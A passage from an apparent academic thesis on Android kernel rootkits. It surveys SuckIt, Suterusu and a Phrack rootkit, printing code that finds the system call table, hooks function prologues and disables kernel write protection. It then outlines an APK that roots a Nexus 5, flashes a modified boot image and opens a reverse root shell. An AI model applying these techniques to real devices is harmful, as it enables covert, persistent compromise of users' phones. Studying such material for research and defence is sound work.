  • 53. 4. Related Work 45 Listing 4.1: Obtain the SCT through IDTR [20] 1 // 1.) Read the IDTR. 2 asm("sidt %0" : "=m" (idtr)); 3 printf("idtr base at 0x%Xn", (int)idtr.base); 4 5 // 2.) Get IDT entry for interrupt 0x80 (system call). 6 readkmem(&idt, idtr.base + 8 * 0x80, sizeof(idt)); 7 sys_call_off = (idt.off2 << 16) | idt.off1; 8 9 // 3.) Get SCT address from indirect call. 10 readkmem(sc_asm, sys_call_off, CALLOFF); 11 p = (char*)memmem (sc_asm,CALLOFF, "xffx14x85", 3); 12 sct = *(unsigned*)(p + 3); Allocate Memory Now the rootkit is able to directly modify the SCT in memory, but we have no address to be pointed at yet. We can’t create a function in user space to replace a system call, because kernel functions need to be located in kernel memory space (usually above 0xc0000000). Typically a new piece of memory in the kernel is allocated by calling the provided library function kmalloc(sizeof(*foobar), GFP_KERNEL), but we don’t know the address of kmalloc or GFP_KERNEL nor do we have access to the required kernel symbols. In addition to that we wouldn’t even be able to call the function from user space [20]. The authors of this malware came up with a dirty but efficient way to solve this problem. Their rootkit goes through the text section of kernel, gathers all push calls, sorts them by occurrence. Now they have a big chance that the kmalloc function is on the top because it’s heavily used in the kernel. If we have managed to obtain the correct address, we still need to know the value of GFP_KERNEL to allocate a new piece of memory. Gladly the values usually don’t differ much in different kernel versions as we can see in table 4.1 [20]. Kernel Version GFP_VALUE 1.0.x - 2.4.5 0x0003 2.4.5 - 2.4.x 0x01f0 Table 4.1: Linux Kernel Versions versus GFP_VALUE [20]
  • 54. 4. Related Work 46 Overwrite Finally SuckIt needs to make use of the newly gained ability to allocate memory in kernel space and replace system calls. As mentioned before, direct calls of kmalloc are not possible from user space. To avoid a direct call, the rootkit looks up the address of some random (hardly used) system call. It then builds a function which just calls kmalloc and returns the pointer to the newly allocated memory. The chosen system call content is subsequently overwritten with the generated function code and is executed through a 0x80 software interrupt. The original system call is then restored [23]. We now have the ability to find and access the SCT, allocate new memory in kernel space while calling from user space. That’s all we need to set up and exchange system calls [20, 23]. Mission accomplished. 4.2 Suterusu Suterusu is an open source LKM rootkit developed by Michael Coppola starting in 2013 as a hobby project. It’s not intended for practical use but to show how modern rootkits work. The compiled source code runs on ARM and x86_64 architectures and is intended to work from kernel version 2.6 until 3.x. Our implementation of an Android kernel rootkit is rather similar to this one because it already supports the ARM architecture, which is not common for low level malware [25]. 4.2.1 Features • Binary to control rootkit from user space. • Supports the x86_64 and ARM architecture. • Hide processes. • Hide files. • Hide open ports. • Drop to root shell. • Keylogger. • Wait for magic packet, download and execute file from remote server. • Control PROMISC network flag. • Dis-/Enable module loading. • Hides itself on the system.
  • 55. 4. Related Work 47 4.2.2 Difficulties One difficulty in the development of Suterusu was that it uses a, by the time of development, not widely used mechanism to hijack function calls. Also the support for different kernel versions and architectures is remarkable [25]. Function Swapping The traditional way to redirect a function (e.g. a system call) is to replace its pointer. This is well known and easily detectable, so Suterusu uses a different method of function hooking. If a function needs to be replaced its prologue is overwritten with different data to redirect every function call from the original function to a hook. This works slightly different on x86_64 and ARM. In our example we will take a short look at the x86_64 implementation. Listing 4.2: Suterusu Function Hooking [25] 1 // Init new function prologue. 2 // push $addr; ret 3 memcpy(n_code, "x68x00x00x00x00xc3", HIJACK_SIZE); 4 *(unsigned long *)&n_code[1] = (unsigned long)newFunction; 5 6 // Backup old function prologue. 7 memcpy(o_code, targetFunction, HIJACK_SIZE); 8 9 // Disable write protection. 10 o_cr0 = disable_wp(); 11 12 // Exchange prologue. 13 memcpy(targetFunction, n_code, HIJACK_SIZE); 14 15 // Enable write protection. 16 restore_wp(o_cr0); As we can see in the example code in listing 4.2 first of all a shellcode buffer with the length HIJACK_SIZE, which holds the new hook, is initialized and loaded with the new function address. The original function code is now backed up and stored for the restore mechanism. On the x86_64 platform we also need to take care of the memory write protection mechanism (see below). Finally the new function prologue code is written to the hook and the write protection is restored.
  • 56. 4. Related Work 48 Memory Write Protection This concept protects kernel text pages from being overwritten at runtime on x86_64, but on ARM no such mechanism is present. This is achieved by setting the bit number 16 on the control register (CR0) to zero. The example codes at listing 4.3 and 4.4 demonstrate how the write protection is dis- and enabled. This code is also designed to prevent race conditions by unlucky scheduling [11–13, 25, 48, 75]. Listing 4.3: Disable Write Protection on x84_x64 [25] 1 inline unsigned long disable_wp(void) 2 { 3 unsigned long cr0; 4 5 preempt_disable(); 6 barrier(); 7 8 cr0 = read_cr0(); 9 write_cr0(cr0 & ~X86_CR0_WP); 10 return cr0; 11 } Listing 4.4: Enable Write Protection x84_x64 [25] 1 inline void restore_wp(unsigned long cr0) 2 { 3 write_cr0(cr0); 4 5 barrier(); 6 preempt_enable_no_resched(); 7 } 4.3 Android Rootkit This nameless ARM rootkit was designed and implemented for a paper pub- lished in the Phrack magazine by Dong-Hoon You. This paper covers two traditional and two novel SCT hooking methods, based on the interrupt ser- vice routine (ISR) handler in the exception vector table (EVT). The paper itself only covers the methods used to find and modify the SCT, but there aren’t any further rootkit features implemented [92]. 4.3.1 Obtaining System Call Table Since the system_call_table symbol is not exported anymore (see section 2.1.1), a different way of obtaining its address must be found. In this paper two interesting ways are described.
  • 57. 4. Related Work 49 Exception Vector Table If an interrupt or exception occurs on the ARM platform there is the EVT which holds an exception handler address for the occurred exception. The Android kernel uses a high vector table with addresses above 0xffff0000. With an offset of 0x08 there is a four byte instruction to call the software interrupt handler, which is stored with an offset of 0x420. As we can see in listing 4.5 the routine first finds the address of the vector_swi (software interrupt process execution handler) function of the high EVT in lines two to eight and then searches for the code that handles the SCT. With some assembly tricks, which can be looked up in detail in the paper, he figured out that we are looking for the opcode 0xe28f8*** to calculate the offset of the SCT as we can see in lines 11 and 12 in the listing 4.5 [92]. Listing 4.5: Obtain the SCT [92] 1 void get_sys_call_table(){ 2 void *swi_addr = (long *)0xffff0008; 3 unsigned long offset = 0; 4 unsigned long *vector_swi = 0; 5 unsigned long sys_call_table = 0; 6 7 offset = ((*(long *)swi_addr) & 0xfff) + 8; 8 vector_swi = *(unsigned long *)(swi_addr + offset); 9 10 while(vector_swi++){ 11 if(((*(unsigned long *)vector_swi) & 0xfffff000) == 0 xe28f8000){ 12 offset = ((*(unsigned long *)vector_swi) & 0xfff) + 8; 13 sys_call_table = (void *)vector_swi + offset; 14 break; 15 } 16 } 17 } sys_close The code above is rather complicated, that’s why he figured out a slightly easier way of getting the desired address. The sys_close symbol has a 0x06 offset to the sys_call_table symbol in memory. Apart from the modified while loop with the adapted code to search for the sys_close address, the code example in listing 4.6 is identical to the example above in listing 4.5. This method has the obvious disadvantage that the address for sys_close must be determined in advance [92].
  • 58. 4. Related Work 50 Listing 4.6: Obtain the SCT [92] 1 void get_sys_call_table(){ 2 void *swi_addr = (long *)0xffff0008; 3 unsigned long offset = 0; 4 unsigned long *vector_swi = 0; 5 unsigned long sys_call_table = 0; 6 7 offset = ((*(long *)swi_addr) & 0xfff) + 8; 8 vector_swi = *(unsigned long *)(swi_addr + offset); 9 10 while(vector_swi++){ 11 if(*(unsigned long *)vector_swi == &sys_close){ 12 sys_call_table = (void *)vector_swi - (6 * 4); 13 break; 14 } 15 } 16 } 4.3.2 Calculating System Call Table Size In order to make use of the obtained SCT location we also need to know how big it is because usually we need a copy for further modifications to gain a better protection against rootkit detection. The size of the SCT varies between different kernel versions and platforms, so we need a way to identify its size at runtime. To achieve this the rootkit searches for a specific opcode (0x357****) pattern in the vector_swi that controls the size of the SCT. From this value the rootkit is able to calculate the total number of system calls and therefore the size of the SCT as we can see in listing 4.7. Listing 4.7: Calculate SCT Size [92] 1 while(vector_swi++){ 2 if(((*(unsigned long *)vector_swi) & 0xffff0000) == 0xe3570000 ){ 3 i = 0x10 - (((*(unsigned long *)vector_swi) & 0xff00) >> 8) 4 size = ((*(unsigned long *)vector_swi) & 0xff) << (2 * i); 5 break; 6 } 7 }
  • 59. 4. Related Work 51 4.4 Android Modem Interception At DEFCON 18 in 2010 another interesting paper about Android kernel rootkits has been published. Beside the typical rootkit features like obtaining the SCT or hiding itself the system calls are used as a kind of a debugging system to see where we can get from there. The system calls sys_read, sys_write, sys_close and sys_open are intercepted and printed to the kernel debug log to obtain this logging be- haviour. He then scans the logs and finds out that the kernel communicates with the integrated mobile modem in plaintext through system calls as we can see below in the kernel log dump in listing 4.8 and 4.8. Listing 4.8: Incoming Call [68] 1 <6>sys_read: AT+CLCCc:13371585907841334111",129 Listing 4.9: Outgoing Call [68] 1 <4>sys_write: ATD+442073734841; This opens the possibility to intercept the modem communication from a kernel rootkit by modifying the AT buffer. Mobile devices are almost always on and connected to the internet which could be used to establish a reverse shell with parameters received via text message without even passing them to the operating system. Another scenario is to call premium rate numbers from the kernel, when the user is inactive on the phone, if we were about to do something evil [68].
  • 60. Chapter 5 Implementation We now have a rough overview of which subsystems the Linux kernel consists of and how kernel modules work. We also took a look at the Android specific kernel features and also discussed how other rootkits manage to work as they are intended to. We will now work out step by step how to build and run a kernel with module support for a given device, how the implementation works and how we could infect a device by using a root exploit. At the end of this chapter we will discuss miscellaneous problems occurred while working on this project. The whole process from setting up the system, obtaining the kernel sources, building and executing the modified kernel and also the build and execution of the exploit and kernel rootkit are explained in depth on the provided DVD. 5.1 Concept The goal of this project is to design and implement a system that allows to inject a Linux kernel rootkit to a stock Google Nexus 5 device. This kernel module needs to offer the ability to hide PIDs, files and ports from user space. A nice to have is a feature to gain root permissions by just asking the rootkit for it. In this chapter we will discuss the architecture of this project. We will take a closer look at both the over-all structure of the whole setup and the core of the project - the kernel rootkit. 5.1.1 System Architecture On the hardware side there are two devices involved. First we have the Android victim device, which is in our case a Nexus 5. On the other hand we have a server, which will provide the relevant data to modify the kernel. They both communicate over a wireless network connection as we can see in figure 5.1. 52
  • 61. 5. Implementation 53 Network Netcat Server Nexus 5 Load boot.img Figure 5.1: System Architecture The victim device is infected using a simple Android application package (APK) which has to be installed beforehand. First of all the user needs to run the provided APK as we can see in figure 5.2. The APK itself contains a root exploit for the running Linux kernel version, some binary tools and the kernel rootkit. To stay portable the modified kernel isn’t statically included, but fetched from the remote server during runtime. But more details on this later in section 5.1.4. Run APK Gain Root -> Exploit Unpack Helper Binaries Load boot.img from Server Reboot Prepare Startup Scripts Place RootkitFlash boot.img Kernel Module is Loaded Reverse Shell is Established Wait for Commands Figure 5.2: General Flow Chart After the environment is set up, the application will search for a server to download a modified boot.img from. When it is successfully retrieved it will then be written to the boot partition of the device to make the changes
  • 62. 5. Implementation 54 persistent. Then a few initialization scripts will be placed to load the kernel module on boot and establish a reverse shell. At the next boot the rootkit will be loaded into the kernel and a re- verse root shell will be established to the server. From now on the device is persistently infected. The rootkit has now the chance to hide itself and the generated files from the users view before it starts waiting for instructions to execute. Without root permissions the user shouldn’t be able to spot the difference to a clean system. 5.1.2 Kernel Rootkit The kernel module is the core part of the whole project. We will use a similar technique as Suterusu (see section 4.2) to hijack the system. But first of all we need to develop a general idea of what to do. When a kernel module is loaded, a special function is called to set things up. As we can see in figure 5.3 we first need to prepare some hooks in the kernel to provide the functionality of hiding PIDs, files and ports. When the initialization is done, a communication interface needs to be created to send further instructions to the rootkit. Once the setup process is done the module will wait for further instructions sent through the communication interface or being unloaded. Create Communication Interface Load Prepare Hooks Wait for Commands Figure 5.3: Load Kernel Rootkit Flow Chart It is also possible to safely unload the module. Again a specially prepared function is executed which takes care of this scenario. As we can see in figure 5.4 the module will first find and remove active hooks. All hidden resources will be unhidden before removing the hooks and restore the original state of all kernel data structures. When this is done the communication interface to user space is removed and the module is safely exited. Remove Communication Interface Unload Remove Active Hooks Exit Figure 5.4: Unload Kernel Rootkit Flow Chart